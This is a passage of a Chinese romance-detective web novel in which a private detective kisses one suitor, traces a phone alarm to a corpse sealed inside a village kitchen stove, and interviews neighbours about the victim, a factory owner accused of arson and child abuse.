左成冬把手藏进口袋里,脸色有些羞赧的僵硬。 第70章 第70章下次不准那么调戏我了…… “说真的,我们小陈侦探回来,是不是有什么案子了?”许叔收起调侃的语气,认真地问。 陈定言没有把委托明说出来,万一邻居中就有真犯人,消息透露出去会变得棘手。 她编了一个谎言:“没有,我前阵子有个委托人也是高三学生,我想找左成冬了解一下情况。” 等许叔和关婶离开后,陈定言小声叮嘱左成冬道:“我明天来找你,你把耳朵洗洗干净等着我的实验。” 由于左成冬说耳朵听麻了,她便把“测试声音来源”这个小实验推到了次日。 她在家里吃了午饭,开车回去了。 …… 调查事务所。 薛繁恩来了事务所,他坐在沙发上等待陈定言回来。 裴勉知眼睛里可能是长了什么刺,他皱着眉毛,看薛繁恩不顺眼极了。 两人各怀心事。 直到陈定言回来,这个僵局才打破了。 “你回来了。” “陈定言。” 陈定言头皮一阵抽紧。 她把薛繁恩拉到一边,小声问:“你怎么,今天和裴勉知吵起来了吗?” 薛繁恩露出无辜的眼神:“不是我先挑衅的。” 陈定言敏锐地察觉:“但你一定先说了什么话,是不是?” 薛繁恩老实交代:“我说我想住在这里,我考虑向你租一个房间。” 这个提议确实踩中了裴勉知的雷区。 陈定言放弃思考:“要不你放弃这个想法吧?裴勉知较真起来超级倔的。” 薛繁恩点头,乖顺地接受了她的调剂。 陈定言发觉薛繁恩和裴勉知两人的角色定位似乎和以前翻了个转: 裴勉知从事事顺从她的溺爱型朋友变成了叛逆期男生,喜欢钻牛角尖。 而曾经的作精薛繁恩却变成了乖巧型。 “为什么你那么轻易就答应了?”她实在好奇,便问。 薛繁恩看着她,声音放轻:“我不能要求太高,只要一点点我就会满意了,我不会让你感到负担很重。” 【在外面流浪久了的猫狗在被收养后,会因为再次担心被抛弃,而变成讨好型猫格狗格,一般比其他猫狗乖巧听话,一点施舍就能安抚它们。】 陈定言知道自己不应该因为这种奇怪的细节心生怜爱。但眼前的美色和懂事的态度双管齐下,她忍不住抬手摸了摸他的头发:“我知道了,明天我要回家,你要不要和我一起回去看看我家?” 他笑起来点了点头,柔软的头发在她手掌心里蹭了蹭:“好啊。” 哦,乖宝宝。 薛繁恩离开事务所后,陈定言总算找上了裴勉知。 “你要对我说什么?你打算让薛繁恩也住进来?”裴勉知语气带刺地质问。 他感到心烦意乱。 【在家里养惯了的猫狗知道自己不会被抛弃,在感觉到外来者试图抢走地位时会变得格外跋扈,甚至动手驱逐外来者。】 陈定言观察着他的表情,越发觉得自己的分析很有科学依据:“你紧张什么?” 裴勉知的声音稍微柔和了一些:“你要做什么随你,我不能干涉你的决定。” 嘴巴甜甜的,心里酸酸的。 他以为至少他能一直待在她身边这个地位不会被其他人夺取,但没想到还是有人无耻地出手。 她笑起来:“没有,我没有答应他。” 裴勉知悄悄松了一口气。 她最重视的还是他,太好了。 …… 次日,陈定言再次开车回家,这次按照约定也带上了薛繁恩。 薛繁恩知道会见到陈定言的家长,特意穿得很正式,白衬衫西装裤。他弯身进入副驾驶时,因为动作稍微大了一点,胸膛前的一颗扣子崩开了线。 陈定言无奈,顺路去了一趟衣服店:“你不要穿衬衫,你穿衬衫就是涩/情了。” 薛繁恩低下头一声不吭,被 她直白的话语击穿心灵,耳朵的颜色深得可怕。 带着对象见父母时帮对象买合适的新衣服,颇有性转霸总情节的风味。 陈定言好想笑。 但薛繁恩没觉得好笑,他只觉得头脑被撩得昏昏沉沉的。 因此,当两人重新上车后绑上座椅安全带时脑袋不小心撞在一起,他彻底变得不清醒,松开握着安全带插销的手,伸手揽住了她。 陈定言感觉到了搭在她腰上的手掌心滚烫。 “你不准再那么调戏我了。”薛繁恩紧紧盯着她的眼睛,额头贴着她的额头。 “没有调戏,我就是正常吐槽,我的嘴巴就有那么坏。”她耍赖。 他见她不知悔改,本来就已经昏头昏脑的状态变得更混沌了,他咬紧了后槽牙,侧过脸,避开两人的鼻子相撞。 他嘴唇都快翘起来凑过去了,临了才想起自己不过是被捡来被施舍了一点的流浪狗,连忙慌张而小声地问:“……可以吗?” 陈定言思考了一下:“可以是可以,我反正没什么感觉,我就是觉得奇怪,为什么恋人都喜欢接吻?这个好像能分泌什么激/素促进快乐是不是?还是说心理和文化因素更重要一点?” 性冷淡,陈定言你实锤了。 薛繁恩有些挫败地稍微拉开一点距离:“对不起,既然你不想……” 她主动凑上去,在他唇上碰了碰。 他的瞳孔豁然放大,整个人僵住了。 她嘴巴叭叭叭地给他科普:“我查到接吻时双方会交换唾液,其中包含信息素和免疫系统的某些线索,听说人类会更喜欢免疫系统互补的人,这个好像是生理性喜欢。” “那……”他欲言又止。 那你想说的意思是,你对我是生理性喜欢吗? 他整个人都在发烫,浑身的细胞都在沸腾着喧嚣着,因此无法完整地把这句话问出来。 但她显然不是这个意思:“我不会随随便便跟别人接吻,因为交换唾液这种事很私密,如果对方是人渣的话,那么我的身体内也会存在人渣的信息素,这太可怕了。” “那……”他再次欲言又止。 既然你只是碰了碰我的嘴唇,那么你的意思是你不信任我、觉得我可能是人渣吗? 他觉得自己快要崩溃了,一个念头让他如同在天堂,另一个念头让他瞬间在地狱。 她继续道:“现在我主动亲你了,是因为你通过了我的考察,我觉得你是很好的人。” 他这才放松下来。 但她怎么像证明什么论点一样三段论证?她到底会不会谈恋爱? 好吧他也没谈过他也不会,但显然眼前这个正在严谨论证的家伙比他更笨拙,还要假装自己很会的样子。 薛繁恩稍微捡起了一点信心,他小声问:“……那么现在可以吗?” “我批准了。” 她刚说完,他便勾着她的脖颈亲吻了上去。 商场的地下车库里足够昏暗。 肺活量快要到顶的她气喘吁吁地扭开头,逃开了一瞬间。 他又把她的脸扳回来,继续亲吻。 “下次不准那么调戏我了。”他再次警告道。 70-80 第71章 第71章迷雾 【人类在接吻的时候,激/素的变化同时也在促进着爱意的增长,缓解焦虑,让人上瘾,增强亲密和信任,提升幸福感。那么,是否有时候自以为是爱的瞬间,其实只不过是激素骗了你?】 【这也可以解释很多恋人在分手清醒后发现自己怎么会昏了头喜欢过那种人。因为他们根本没有爱过对方,只是爱上了激素带来的幸福感。】 【既然如此,什么才是真正的爱?牢不可破的。深入骨髓的。生死相依的。到底什么形状的才是?】 陈定言知道自己在接吻的时候思考这些是不太好的,至少是个不专心的坏学生。 但她真的太好奇了。 这个名为爱的悬案一直像迷雾一样,让她看不清人性和人类。她用尽所有思辨,甚至亲自下场观察爱意,依然在四处摸索真相。 当然,总有一天会真相大白的。 …… 到了家后,陈定言把薛繁恩扔给了老爸老妈,让他们几个天南海北地聊去。 她自己则前往左伯伯家里,继续调查那件怪事。 由于昨天找出了左成冬听到的那段铃声,今天她开始做测试声音来源的实验。 她让左成冬坐到当时坐着的位置上,然后她在屋子的具有代表性的位置播放那段“清泉”闹铃。 她在二楼阳台打开窗户播放闹铃。 左成冬:“不是,不是从这个方向传出来的。” 她在二楼屋内播放闹铃。 左成冬:“也不是,声音太小了,不太听得清。” 既然如此,更不可能在三楼了。 楼梯间和堂屋只隔了一扇门,她转而在楼梯间播放闹铃。 左成冬:“不确定。” 她继续转移阵地,在靠西的侧屋里播放,为了模仿当时的情景,她特地问了问得知当时侧屋是开着门的。 左成冬:“不对,这个声音太清晰了,我觉得那个好像还要远一点。” 既然在侧屋声音都嫌近了,那么更不可能在堂屋了。 她转到一楼靠东的厨房的时候,左成冬提出怀疑:“厨房也是开着门的,既然不是侧屋,也不可能是厨房了。” 陈定言却提出疑问:“我向你确定一个事情,你听到的声音有混响吗?” 左成冬疑惑:“混响?具体是什么效果?” 陈定言把那段铃声放在音频软件里鼓捣了一番,总算把混响加上去了,又播放了一遍给他听:“就是这样叫做混响。” 左成冬皱着眉回忆:“……好像,有点像。” “OK,有混响。”她记下这一点,走到厨房里观察情况。 左成冬坐在门槛上觉得有些晒,他回过头看向她在厨房里忙忙碌碌地不知道在找什么,微微笑起来。 现在的她和他记忆里的她一样,爱较真、喜欢冒险、脑子里稀奇古怪地装着很多东西。 他正在回忆往事,却听她背对着他在柴火灶边蹲下来,朝他道:“你再听听。” 有些闷的、带着轻微空间感的混响,不远不近地传来。 左成冬愣了一下:“……我不确定。” 陈定言却道:“不用不确定了,我已经找到了。” 左成冬连忙从门槛上起身。 厨房里有一个老式的柴火灶台,在几十年前左伯伯建起这个自建房的时候还在使用,但现在已经废弃不用了,灶台上堆放着一些杂物,灶台角落里张罗着蜘蛛网。 柴火灶的前侧是锅炉,后侧是烧柴的人待的地方,这个柴火灶砌得比较用心,灶膛并不直接面对烧柴者,中间隔了一层廊道,可用以安置长度过长的柴,或者把烧焦的炭拨出来堆放在这里。这一层“走廊”般的空腔设计隔绝了过热的火焰直冲烧柴人的面门,但也让灶膛显得很深。 陈定言把手机手电筒打开,照进灶膛里:在积灰中,果然有一只手机。 刚才她在楼梯间的时候,左成冬说那个声音很接近了,因此她就猜是不是因为楼梯间有混响,问了一下发现果然是因为混响。但左成冬又说二楼的声音太远了,因此唯一的可能是在一楼某个能形成混响的地方。 她这才找到了厨房柴火灶里的灶膛。 “从现在开始每一步都帮我记录下来,照片,加上视频。”她指挥道。 左成冬连忙拿出自己的手机帮她拍照录视频。 陈定言戴上手套和口罩,她拿起旁边的火钳,从灶膛里把那只手机夹出来。 “报警吧。”她说。 左成冬不明白怎么就要报警了,直到陈定言指着灶台靠近灶膛下方的那块区域给他看。 “颜色很浅,表面平整,没有龟裂和脱皮,也没有浮灰,这是新砌上去的。但是你爷爷奶奶他们已经很久不用这个柴火灶台做饭了,都用煤气灶和电磁炉了。明白了吗?灶台下的水泥里藏着东西。” 左成冬到底还年轻,没遇到过这种事,他凭借想象力被自己吓到了,脸色白了几分:“藏尸?” 陈定言心累地道:“对,大概率藏尸。” 闻讯赶过来的左伯伯一直在质问:“怎么可能?怎么可能!什么时候新砌的?!我们一直在家啊。” 孟婶则神情恍惚,一言不发。 …… 这回赶来的警察总算不是孟行霄和郝警官二人组了,毕竟这里不是他们的辖区。 陈定言和这里地方局的警察不太熟,目前为止也只能干坐着等待他们搜查现场结束,同时接受惯例询问。 “这个灶可以敲吧?”警察问左伯伯。 “当然可以敲,我们又不用了,只是因为有个烟囱在,敲掉大动干戈的,我们才不动它的。” 过了半个小时,才有拿着仪器和工具的警察到达,小心翼翼按照步骤敲开那个灶的新砌层。 左伯伯家附近已经渐渐聚集了一些邻居,他们都是看到警车才聚过来的,议论纷纷的。 左伯伯年纪虽然已经七十多了,中气还是很足地对邻居道:“看什么!都走!” “老左,你家里怎么了?我们是关心你才过来看看的,你什么态度啊?”有邻居不满地道。 正说着,警务人员从屋里出来了,一个担架抬着黑色的袋子。 这阵仗平时哪能看得见。周围邻居眼睛都直了,反应快的已经在举手机拍了。 “那黑色袋子里的是尸体吧?……” 孟婶受不了刺激,脚步虚浮,几近晕倒。 一直生活着的家里,厨房里竟然藏着一具尸体。 左伯伯说不是他做的。 孟婶情绪崩溃,她说她什么都不知道,不要问她了。 左成冬此前一直在学校宿舍住着,按照灶台砌好的时间线来说也不可能是他。 只有左伯伯的母亲,精神不正常的太奶奶阴森地笑着,但谁都不怀疑这种需要力气的重活儿会是这个九十多岁的老太太做的。 下午,警察开始彻查整栋自建小楼。傍晚,左伯伯一家人重新可以进入屋子内,但厨房被封锁了起来。 第72章 第72章注脚 “这太荒谬了。”左成冬有些烦躁地抓了抓自己的头发。 陈定言提议道:“要不要去我家兜一圈?” 他一愣,手指还停留在发梢,像是被定格了一样没反应过来,显然没想到她会这样邀请。 “去散散心吧,不要不开心。”她说。 左成冬从一开始就觉得很奇怪,现在他心里的疑虑更加浓重。 “你为什么总是会觉得我心理受不了?昨天你也问我。” 陈定言这下有点心虚:坏了,她平时的人设太过邪恶,一下子变成温柔大姐姐,反而让人汗毛倒竖了。 “我是出于成年人的责任感,在呵护国家的未来。”她强词夺理道。 “但是你昨天和我见面的时候,连我的名字都忘了。”左成冬抛出杀手锏。 陈定言喜欢用证据把人反驳得无话可说,现在天道好轮回,轮到她无话可说了。 左成冬定定地看着她:“你是不是之前遇到过一个其他人,然后觉得我和那个人一样会心理压抑得无法忍受?” 和聪明人也没必要藏着话说,左成冬比她想象得要敏锐很多。 陈定言见事已至此,半是赶鸭子上架半是释然地老实交代:“因为前阵子我有一个委托人是高三学生,我不希望他的悲剧也同样发生在你身上。” 左成冬脸上的表情有些微妙。他说不出是什么感觉,也不知道应该怎么去回答,他只是凭借着直觉,感觉到了她看向他的目光中似乎有一些不寻常。 但事实竟然真是如此。明明先认识她的是他,为什么她反而在透过他看别人? 她现在没有这个心思去管他心里的这些想法,左成冬也知道,所以他选择保持沉默。 陈定言和左成冬一起步行回她家的时候,她开始慢慢从左成冬的口中询问一些更加细节的线索,以此来锚定更进一步的真相。 “这些日子你记不记得有哪些邻居来你们家聊天?” 左成冬思考了一下。 在他高考结束后待在家里的一个月里,排除他白天去驾校学车的时间,有以下几个邻居来过家里: 许叔和关婶,职业是种田,这对夫妻晚饭后散步的时候进来坐了一会儿聊天。 金叔,职业是外卖骑手,大热天送午饭过来的时候被左伯伯留下一起吃了个西瓜。 李姐,职业是酒店前台,过来是为自家小孩来借高中的复习资料。 “你知不知道砌这个灶台的泥瓦工是谁?” “刘伯伯,他儿子也是村里的泥瓦工,上次给我们家来贴破掉的瓷砖。但是因为这个灶台是二十多年前造的,所以应该是刘伯伯,刘伯伯六月中旬病死了。” 陈定言拿小本子把这些线索记录下来。 “虽然我们不知道警察还调查出了什么线索,但我们可以从其他方面入手分析。比如说那个手机为什么会被扔在灶膛里?手机为什么会响起闹铃声?” “手机是关机的,但是闹钟却响了,这是因为手机的型号是安卓机,这款安卓机能够设置关机闹铃,让手机即使在关机的状态下也能够在闹钟所定下的时间自动启动并响起闹铃,直到电量耗尽。” “假设凶手是知道这个安卓手机的关机闹铃功能的,那么TA就是有意把这只手机放在这里并设置了这个闹铃,让手机被发现。” “但假如凶手不知道这个关机闹铃的存在呢?这说明凶手把手机放在这里,很可能是迫不得已的。TA把灶台挖开来,把尸体砌进去,又封上水泥,等TA发现手机的时候水泥已经封上了、甚至可能已经过了好几天,以至于他没有时间和机会再把手机用封进水泥的办法藏起来。” 暂时线索就这么多。 在无法得知死者和死亡时间的情况下,到这里已经是极限了。 对于陈定言来说,这个案子是前所未有的挑战,因为她连基础的线索都无法得到,完全是靠着这些片面的消息猜测。 她带左成冬回家遛了一圈。 薛繁恩已经完全被当成苦力在使了,不仅如此,这个家伙还相当乐意,干活干得津津有味。 左成冬远远地看到薛繁恩,他的眼神一顿:“那是你的男朋友吗?” 他明明是在看着那个方向,但余光却不住地捕捉着陈定言的神态。 她想了想:“算是吧,但是还没有完全确定关系。” 左成冬又沉默了,他的目光看向别处,手抄进口袋里。 “我要回去了。”他突然说。 陈定言却想起来这会儿时间也有点晚了:“你等我一下,我开车送你回去。” 左成冬眼神古怪地看着她:“我心理没问题,你用不着担心我,那么一点路我自己能走。” 陈定言调侃道:“你现在可是重要证人,万一半路被凶手绑架了怎么办?” “陈定言,我没有心情和你开玩笑,我是认真的。” 怎么还生上气了? 陈定言莫名从他的眼神里感觉到了压迫感,她假装掉线,实则大脑CPU都快烧了。 “在你眼里我还是小孩子,但是我一点都不小了。你忘记我了,我接受,但你能不能拿我当独立的个体看?”他又说。 “真对不起。”她摸了摸脸颊 ,有些抱歉地道。 她是真没想到他会因为这件事而大为光火。 左成冬见到她这副无所适从的模样,心里却更迷茫,他不知道自己在做什么,在说什么,只是凭着一腔愤懑和不平,在委屈地向她抱怨。 他的声音压低了,带着无法掩饰的失落:“对不起。” 在她的人生里已经存在着很多人,而他的篇幅在她这里挤不进去了。 他明明在故事未开场之前就遇到了她,但他却被压到末尾才出场,就像故事结尾的几桩案件一样,他只能作为某一页白纸上轻巧的注脚,淡淡地写上几句生平。 陈定言惊觉,有很多事情是不能用她所理解的那些人类情感来分析的,因为这些复杂的情感里到底包含着什么,她不明白。所以她才会像现在这样感到茫然,她对眼前这个年轻人的心理一无所知,因此也分析不出他突然生气的动机。 “真抱歉,我一定会认真了解你的。”她说。 左成冬心里烦躁不安,他愧疚地道:“不是,算了。你随便我吧,因为这不是你的责任,跟你无关。” “我说到做到。”她伸出手。 他走近了她一点,却没有握上她的手,而是微微低头看着她:“你看,我有长这么高了。” …… 最后两人还是停止了斗气,回到家里。 母亲听到左伯伯家里发生的一系列事,一时之间震惊无比:“怎么会这样子呢?你现在能知道凶手是谁吗?” 陈定言道:“我能掌握的信息太少了,但是案子会水落石出的。” 母亲看到左成冬,又担忧起来:“小成,你今天晚上在我们这儿睡吧,别吓坏了。” 陈定言一记眼刀飞向左成冬:瞧吧,真的不是我把你当替身,我们家都有这个管闲事的优良传统,都喜欢照顾祖国的花朵。 左成冬无奈地看向别处。 吃了晚饭,陈定言带着寄养在家里一整天的薛繁恩回去了。 回到事务所,裴勉知正在工作。 今天的裴勉知化身工作狂,开完线上会议整理报告,资料理完又开始分析数据。 他眼下有着淡淡的黑眼圈,眉眼肃整,似乎前些天魅魔上身的不是他。 经历过上次和孟行霄约会的那起事件,陈定言非常自觉,像牛马一样向老板报告行程:“今天我带薛繁恩回家寄养了一天。” 裴勉知头都不抬,噼噼啪啪地敲着键盘:“我知道,因为我工作忙,所以你不带我去。我能理解。” 陈定言:“……” 因果倒置了属于是。 到底是工作忙所以不带他去,还是不带他去导致他的工作一下子忙起来了,他自己心里有数。 第73章 第73章你等着 陈定言突发奇想:都说婚姻是爱情的坟墓,但她觉得告白才是爱情的坟墓。 此前她一直和这个世界和平相处,然而,揭穿了那层隐秘的感情后,对方的占有欲就开始彻底膨胀。最佳例子就是裴勉知。他现在已经是草木皆兵的状态了。 【陈定言】:为什么恋人之间通常都会享受对象吃醋的过程?但我并不这么觉得?我觉得一个头两个大。 【你猜】:这一点我早就跟你说了,你不会谈恋爱,也不想谈,也不适合谈。 【陈定言】:我都脚踏三条船了,为什么我还是不想谈不会谈不适合谈? 军师沉默了,好久。 陈定言在等待的过程中去查了查化纤工厂失火的案子,找到了当年那个故意骗保险的纵火案新闻,以及工厂老板胡刚炳。 等她结束调查这事,军师终于重新发消息给她。 【你猜】:脚踏三条船?你认真的? 【陈定言】:我以为你知道,你不是都知道吗?你还改了三个名字。(比格疑惑) 【你猜】:…… 【你猜】:陈定言,你等着。 军师发完这句话便下线了。 陈定言的表情却不是疑惑,她反而露出了然的笑:“裴宿献,你也等着。” 她是故意的。 现在她身边行迹最可疑的就是他了,只有他的动机还隐藏在迷雾之中,她不明白也不理解为什么他会以这样的方式来接近她。 毕竟,不会钓鱼执法的侦探不是好侦探。 …… 次日清晨,陈定言做好一切准备,一大早就开车溜走,前往灶肚藏尸案案发地。 在这个案子结束前,她暂时不会和小叔叔见面。要知道,她的脑细胞也是有限的。 她一个一个地去拜访那些可疑的邻居。 第一站:许叔和关婶家。 正好是中午时分,因为天气太热,许叔和关婶没有出门下地,还是在家乘凉,看电视刷手机。 许叔看到陈定言,第一句话就是:“诶诶,我上次说什么来着?我们小陈侦探回来,肯定是嗅到了案子的味道!” 陈定言谦虚地道:“意外,真是意外。” 关婶给她切了个西瓜:“小陈想来了解什么?你想知道什么就尽管问,咱们从村口到村尾,有你许叔这个大喇叭和大耳朵在,他就没有不知道的事儿。” 陈定言不客气地拿了一块西瓜,抛出两个人名:“化纤厂老板胡刚炳,还有左伯伯的小女儿左孟萍。” 许叔一拍大腿:“看来我们小陈侦探什么都知道了,诶——死掉的那个是不是就是胡刚炳?现在在怀疑动机是为左孟萍报仇?” 关婶再次降龙十八掌一掌拍在许叔肩膀上:“你少说两句有的没的,正经问话呢,正经回答。” 许叔摸了摸被敲疼的肩膀:“胡刚炳就是个人渣。早年里谁不知道他的厂子快要破产了,纵火多半是为了骗保险,但也真奇了怪了,那些官家就是相信他,认为这是意外起火,我只能说有钱能使鬼推磨,他只要钱到位了,谁都能骗。” “你左伯伯一个儿子,一个女儿,儿子常年在外地做生意,经常不回来,女儿萍萍就近打工,每天在家把二老伺候得舒舒爽爽的,房间也打扫得干干净净的,你左伯伯和你孟婶不知道有多喜欢萍萍。唉呀,可就是这样一个好女儿,有一天就一去不复返了,萍萍就在那个化纤厂工作,回来得迟了一点,就葬身火海了。” 关婶插嘴道:“这搁谁受得了呀?你说要是寻常的火灾,也就怪怪老天。但是那混蛋搞出来的故意纵火就为了拿到钱啊,把亲近人的性命活生生夺走了,而那个凶手快快活活地拿着钱去国外度假了,这搁谁身上都是一辈子过不去的坎。” “我就说当年我家那小子还好没有去胡混蛋的厂工作,要是去了,指不定现在每天以泪洗面的就是我俩了。” 陈定言一边点头一边啃西瓜,她正在把西瓜皮上的红瓤啃干净:“然后呢?最近几年胡刚炳怎么样?” “最近啊,那个混蛋好久没出现在我们这儿了。他还是前几年去的国外度假,这我记得清清楚楚,度假回来以后又在镇子上住了一阵子,然后人就消失了,不知道又去哪坑人了,最近都没发现过他。” 第二站:金叔家里。 金叔理应要去送外卖的,但是警方找到了他,今天在他家里问了一些关于邻居左伯伯家里的情况,刚好他今天似乎有中暑的症状,便留在家里了。 警察前脚刚走,陈定言后脚就来敲门了。 金叔给她开门:“警察刚来过。” 陈定言手里拿着袋子,袋子里装着从许叔关婶家里薅来的一个无籽西瓜:“金叔,刚才警察来你家的时候我都看到啦,我看你脸色有点像中暑了,就去关婶家田里摘了个新鲜西瓜来。” “你这孩子机灵,我真觉得有点不舒服,正想喝点藿香正气水。”金叔本来不想再回答一遍问题了,但看到那个西瓜,也不好意思推脱了,“进来吧进 来吧。” 金婶去上班了,家里只有金叔一个人。 “对了,刚才警察也问你胡刚炳和左孟萍吗?” “你咋知道?就问我这俩呢,还问我左家人怎么样,这一个月来去送外卖的时候有没有见到什么奇怪的现象。我送外卖忙得很呢,除了有次好像吃了一点西瓜以外,哪里有功夫停下来看他们有没有奇怪的东西。” 听金叔的回答,陈定言可以肯定了:死者果然是化纤厂老板胡刚炳。 而且,金叔的话中还无意透露出了一些重要的时间信息,警察问他的是这一个月来送外卖的时候,说明死者的死亡时间就是这一个月内,而不是更久远的时间点,这和她所观察到的水泥封口的新旧程度是差不多的。 “不过胡刚炳这个人,最近我还真见过他。我记得是在六月初吧,我去送外卖的时候来拿外卖的就是胡刚炳,他就住在我们镇子上,具体住在哪里我忘记了,当时没有细想,现在再要想起来也记不起来了。” 金叔压低声音:“我还可以跟你说点秘密的,不要说出去是我说的啊。这西瓜不是你关婶田里摘来的吗?你关婶有个堂妹关香巧,就是胡刚炳的前妻。” 陈定言故作疑惑:“刚才我去问的时候,他们没跟我说。” 金叔果然露出了一副“我就知道是这样”的表情,“啧”了一声。 “当然不会跟你说了,她和她堂妹关系很好,她们一起从外地嫁到这个镇子里来,算是互相依靠,比亲姐妹还亲,有点什么难事就向对方倾诉。但是胡刚炳那个人呢,离婚前天天打骂老婆,离婚后孩子还被判给了胡刚炳。” “我都不敢再说下去,太残忍了。真的太残忍了,那家伙简直就不是人。胡刚炳想娶小老婆,情人嫌弃他带个拖油瓶和他分了去找大款了,胡刚炳气不过,看那孩子不爽,就天天虐待那孩子,给她吃大便,用开水烫她,给她吃泻药……那孩子,死了。” 金叔叹了一口气。 “这也真真不知道是怎么回事,等关香巧去告那个畜生的时候,法官却说小孩就是不小心感染细菌死的,没有证据证明是虐待致死。那背上烫出来的疤难道不是证据吗?胡刚炳说是不小心开水烫到了,那法官也是瞎眼了说不能就凭着这个烫伤判,需要有更直接的证据。还能怎么的?老天没眼呗。” 第三站:李姐家里。 李姐送小孩补课回来是傍晚了。 听说陈定言的来意,李姐一脸愤懑地道:“那个混蛋死得活该!” 原来,在化纤厂火灾中死亡的左孟萍是李姐的好朋友。李姐那时也在化纤厂工作,对这件事的来龙去脉一清二楚。 “那天其实我是想和萍萍一起回家的,我们平常也都一起回家,但是那一天,刚好就那一天,我错过了让她活下来的机会。” “萍萍是很负责任的人,她说她有点东西没有弄好,想弄好再回家,那我就说我先走了,你早点回,我真是……” 李姐一面说一面转过身,抹了一把眼泪。 她的眼神中是充满了悲伤的愤怒,声音扬起来:“那种人死得好死得妙,这些年我就盼着他被五马分尸!要是他能过上好日子,我才觉得这世界真没盼头了呢。” …… 陈定言拜访完了这三个邻居,时间也差不多了,她打道回府。 回家后她把车开入家附近的付费地下车库里,往出口走的路上,她却瞥到了车库里停着一辆车牌有些熟悉的车。 她记不起来是谁的车了,便打开自己的手机备忘录,翻了翻专门用来记录车牌号码的页面。 不翻还好,一翻让她吓出一身冷汗。 这个车牌号码正是小叔叔裴宿献的。 裴宿献,你真杀上门来啊? 第74章 第74章你输不起吗? 陈定言站在门口,深呼吸一口气。 自从她推理出军师的真面目就是裴宿献后,她就知道网友面基这一天总会到来的,只是她没想到裴宿献竟然是主动杀上门来的。 裴宿献没有一丝身份揭穿之后可能会有的尴尬,仿佛这是理所当然的,他双腿交叠地坐在沙发上,脊背往后靠着,不动声色地打量着她。 裴勉知见陈定言回来,神色复杂地看了她一眼:之前跟你说过什么你还记得吧?小心我小叔叔。 陈定言递还给他一个肯定的眼神:当然当然,我做人一直都很谨慎的。 裴宿献像是没有注意到两人之间的眼神交流一样,依然直勾勾盯着她,现在眼神里带上了若有似无的讽刺的笑意。 “小叔叔。”陈定言首先打招呼。 裴宿献没有回应她装作熟络的称呼,眼神微沉:“作为委托人,我有权要求你出去和我谈。” 陈定言挑了挑眉:“公共场合当然可以,但我刚查案回来,让我休息一下。” 裴宿献倒还没有到没有人性的地步,他答应给她两个小时。 于是陈定言去洗了澡,和裴勉知一起吃了晚饭,期间顺便回头问裴宿献要不要一起吃饭。 “不必了,我吃饱了。”裴宿献说着,起身去了外面。 陈定言吃完晚饭便出去找他。 裴宿献靠在桥栏杆边,手臂搭在栏杆上,手腕悬空,右手手指间夹着烟。 她走到他旁边:“把烟扔掉,然后去买条口香糖。” 裴宿献斜过目光睨她。 她继续道:“我承认你做什么都很美丽,抽烟姿势也相当有韵味,但那不是抽烟的理由,你不是小孩子了。” 他可能是因为听到她对他的夸赞,不自然地怔了一下,而后才反应过来。 “你现在是在做什么?管我吗?”他的声音听不出喜怒。 她“嘁”了一声:“你难道不是也在管我?” 裴宿献的眼尾弧度扬起来,他直起身,掐灭烟。 “你都知道了。”他说的明明应该是问句,但不知为什么语气直转往下平平地成为了陈述句。 陈定言得瑟地道:“第一天我就知道了,你和我打交道就应该有心理准备的。” 他探询地看了她一眼:“所以你之前都在陪我演?” 她仰起脸,挑衅地朝他笑:“就等着今天——不对,也不是今天,我准备在这个案子结束后再具体和你聊。” 裴宿献无所谓地道:“案子结束后,当然。那今天你打算就这样把我打发掉,是吗?” 陈定言摊了摊手:“没有啊,我只是说MVP结算推迟。” 他问:“那今天呢?” 她笑了一下:“公共场合单独说话,不就算约会吗?今天我们约会。” 裴宿献本来是微笑着听她说话的,但她一说这话,他的笑意顿了一下,轻轻皱了皱眉,似乎被什么东西刺到了。 他抬起眼,缓慢而带着压迫感地道:“把话说清楚了,别混淆概念。” 陈定言微笑着反击,故意激怒他:“小叔叔,我和你不熟,别命令我。我爱说什么说什么,我就说这是约会。” 裴宿献沉默着,他像是认真地想要看透她,又完全知道她是在恶意地调戏自己。 陈定言能很明显地感觉到裴宿献和其他人之间的区别。 在她对她的暧昧对象做测试时,裴勉知是躲避的,他想藏着掖着,最后爆发出来是滚烫而横流的岩浆;孟行霄是隐忍的,他没有想过刻意隐藏自己的意图,但也没有大幅度的流露,他表现出来的就像是冰山的一角;薛繁恩是矛盾的,薛繁恩的那一面死缠烂打可怜巴巴,凡恩的那一面却是那种只要她说一句狠话他就会永不和她相见的类型。 裴宿献不一样,在她观察测试着他的反应时,他也在观察测试着她的反应。 也难怪他能当她的“军师”,揭露她以前从未注意到的一些细节,甚至看透她的暧昧对象都是些什么性格。 她开始觉得有意思,就像棋逢对手一样起了胜负欲。 裴宿献低下头,嘴角勾起一点微妙的弧度,温吞地哼了一声:“你打坏主意时的表情真的很明显。” 陈定言摸了摸脸颊:“那我收敛一下。” 她话锋一转:“对了,要不你明天跟我一起去查案吧,我觉得你很会观察人。” 裴宿献讽刺道 :“别把你对付其他人的套路用在我身上。” 她语气轻快地推理出:“你这样说,是不是说明你靠近我的动机也和他们一样,但你不想得到和他们一样的待遇?” 裴宿献嘴角掀起一点无奈的冷笑。 用轻佻的语气说出这种话但却是真诚的,也只有她了——她确实在推理,除了推理,没有其他的了。 她认为她在和他玩人性推理游戏。 那就成全她吧。 “那又如何?你能给我不一样的待遇吗?”他的眼神不躲避,慢悠悠地道。 陈定言愣了一下,仅凭微表情判断,她竟然无法判断此刻他是在说真话还是假话。 裴宿献身上那种老练而天真的矛盾感也来自于他那双温顺又多情的眼睛,无辜、干净、黑白分明,看人的时候却分外幽深。 “不知道,应该不能。”她回答道。 他的嘴角扯出一个轻薄却带刺的笑:“那不就得了?这种事还不如不揭穿。” 她也学着他的样子把双手搭在桥栏杆上:“你跟我说过,裴勉知采取隐藏的态度是因为他不想因为坦白而失去。那么你呢?” 他垂下眼,看到他的手和她的手之间的距离有些近,只要反手就能抓住。 他抬起那只手,抄在了口袋里,在两人之间形成一道断裂谷,他冷笑道:“我也不是那么喜欢你,别自以为是了。” “那你今天为什么赶过来?”她抬起眼盯着他的侧脸,“之前又为什么装作军师,告诉我,他们都不适合我?” 裴宿献嘴角依然吊着微笑。 她果真是在用审讯犯人的方式和他说话。 “你在审讯我吗?”他问。 “你难道不是在审讯我吗?你也想知道我是怎么想的,难道不对吗?”她反问。 他嗤笑出声:“你知道了有什么用?你会爱人吗?” 她已经被这种互怼的感觉搞得兴奋上头了:“说得好像你会一样,你那么会的话,以身入局给我实践看看。” 裴宿献稍微侧过身子,忽然抬手捏住了她的脸颊,一左一右,手指捏住脸颊肉往中间压了一下。 “你觉得这样审问我很有意思吗?”他责备道。 